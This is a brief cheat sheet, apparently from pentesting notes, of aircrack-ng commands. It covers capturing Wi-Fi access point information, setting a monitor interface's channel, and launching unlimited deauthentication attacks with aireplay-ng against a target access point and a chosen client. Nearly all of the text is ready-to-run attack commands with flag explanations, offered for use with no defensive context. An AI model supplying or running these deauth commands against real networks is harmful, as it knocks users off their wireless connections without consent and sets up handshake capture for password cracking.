Capture AP information
airodump-ng -i wlan0mon
Change interface channel
iwconfig wlan0mon channel [CHANNEL_NUM]
Launch deauth attacks
# --deauth or -0 | works the same # --deauth # | number of deauthentications (0 to infinite) # -a MAC | mac address of the target Access Point BSSID # -c MAC | mac address of the client associated to target aireplay-ng --deauth 0 -a [TARGET_BSSID] wlan0mon aireplay-ng --deauth 0 -a [TARGET_BSSID] -c [TARGET_CLIENT] wlan0mon
More information at: https://tools.kali.org/wireless-attacks/aireplay-ng